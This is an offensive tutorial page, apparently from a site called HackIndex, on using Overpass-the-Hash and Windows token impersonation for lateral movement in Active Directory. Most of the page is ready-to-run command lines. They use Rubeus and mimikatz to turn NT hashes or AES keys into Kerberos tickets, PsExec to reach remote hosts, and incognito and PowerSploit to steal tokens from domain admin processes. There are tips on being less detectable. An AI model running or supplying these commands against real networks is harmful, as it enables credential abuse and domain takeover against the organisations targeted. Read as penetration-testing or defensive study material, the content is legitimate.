Skip to content
HackIndex logo

HackIndex

Overpass-the-Hash and Token Impersonation

4 min read Jul 10, 2026

Overpass-the-Hash converts an NTLM hash into a Kerberos ticket and uses that ticket to authenticate to services that require Kerberos rather than NTLM. Token impersonation reuses tokens from processes already running as other users on the same host to move into their identity context. Both techniques build on credentials or tokens already present in memory rather than needing new credential material.

Overpass-the-Hash

Standard Pass-the-Hash works over NTLM. In environments where NTLM is disabled or blocked for certain services, you need a Kerberos TGT instead. Overpass-the-Hash takes an NT hash and requests a real TGT from the domain controller using that hash as the key.

PS C:\Users\Guest\Desktop> # Request TGT using NT hash — loads ticket into current session
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /domain:$DOMAIN /rc4:$NTHASH /ptt
 
PS C:\Users\Guest\Desktop> # Using AES256 key instead of NT hash (less detectable)
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /domain:$DOMAIN /aes256:$AES256KEY /ptt
 
PS C:\Users\Guest\Desktop> # Verify ticket loaded
PS C:\Users\Guest\Desktop> klist
 
PS C:\Users\Guest\Desktop> # Now use Kerberos-authenticated tools
PS C:\Users\Guest\Desktop> dir \\$TARGET_IP\C$
PS C:\Users\Guest\Desktop> PsExec.exe \\$TARGET_IP cmd.exe
PS C:\Users\Guest\Desktop> # Inject hash and spawn a process with Kerberos ticket
PS C:\Users\Guest\Desktop> mimikatz.exe "sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NTHASH /run:powershell.exe" exit
 
PS C:\Users\Guest\Desktop> # In the spawned PowerShell, request a TGT
PS C:\Users\Guest\Desktop> # The Kerberos ticket is automatically fetched on first use
PS C:\Users\Guest\Desktop> dir \\dc01.$DOMAIN\SYSVOL

Token impersonation for lateral movement

Windows access tokens represent the security context of a process or thread. If a privileged user has a process running on the host you control, you can duplicate their token and run commands in their context without needing their credentials. This requires SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, or local admin access.

PS C:\Users\Guest\Desktop> # List available tokens (requires admin or SeDebugPrivilege)
PS C:\Users\Guest\Desktop> C:\Windows\Temp\incognito.exe list_tokens -u
 
PS C:\Users\Guest\Desktop> # Impersonate a specific token and run a command
PS C:\Users\Guest\Desktop> C:\Windows\Temp\incognito.exe execute -c "$DOMAIN\$USER" cmd.exe
 
PS C:\Users\Guest\Desktop> # Impersonate and check identity
PS C:\Users\Guest\Desktop> C:\Windows\Temp\incognito.exe execute -c "$DOMAIN\Domain Admin" cmd.exe /c whoami
PS C:\Users\Guest\Desktop> # List all tokens via PowerShell
PS C:\Users\Guest\Desktop> [System.Security.Principal.WindowsIdentity]::GetCurrent()
 
PS C:\Users\Guest\Desktop> # Steal token from a specific process PID using PowerSploit
PS C:\Users\Guest\Desktop> Import-Module .\PowerSploit.ps1
PS C:\Users\Guest\Desktop> Invoke-TokenManipulation -ImpersonateUser -Username "$DOMAIN\$USER"
 
PS C:\Users\Guest\Desktop> # Or use native .NET
PS C:\Users\Guest\Desktop> $proc = Get-Process -Name 'target_process'
PS C:\Users\Guest\Desktop> $handle = $proc.Handle
PS C:\Users\Guest\Desktop> # Token duplication requires P/Invoke — use a dedicated tool

Finding tokens worth stealing

Before impersonating, identify which valuable accounts have processes running on the current host.

PS C:\Users\Guest\Desktop> # List all processes with their owner
PS C:\Users\Guest\Desktop> Get-Process -IncludeUserName | Select-Object Name, Id, UserName | Sort-Object UserName
 
PS C:\Users\Guest\Desktop> # Filter for domain admin processes
PS C:\Users\Guest\Desktop> Get-Process -IncludeUserName | Where-Object {$_.UserName -like "*Domain Admins*" -or $_.UserName -like "*Administrator*"}
 
PS C:\Users\Guest\Desktop> # tasklist with owners
PS C:\Users\Guest\Desktop> tasklist /v | findstr /i "domain admin administrator"

Make-Token — creating tokens from credentials

If you have plaintext credentials for an account but are running under a different identity, you can create a new logon session with those credentials without spawning a new process.

PS C:\Users\Guest\Desktop> # Spawn process as different user
PS C:\Users\Guest\Desktop> runas /user:$DOMAIN\$USER "cmd.exe"
 
PS C:\Users\Guest\Desktop> # Non-interactive — create logon session in memory
PS C:\Users\Guest\Desktop> $cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER", (ConvertTo-SecureString $PASSWORD -AsPlainText -Force))
PS C:\Users\Guest\Desktop> Start-Process cmd.exe -Credential $cred
 
PS C:\Users\Guest\Desktop> # Cobalt Strike / Sliver equivalent concept: make_token
PS C:\Users\Guest\Desktop> # make_token DOMAIN\user password

Token impersonation as a privilege escalation technique from a low-privilege service account is covered in Windows Access Token Manipulation for Privilege Escalation. For using the acquired Kerberos tickets for persistence beyond their natural lifetime see Golden and Silver Ticket Persistence.

References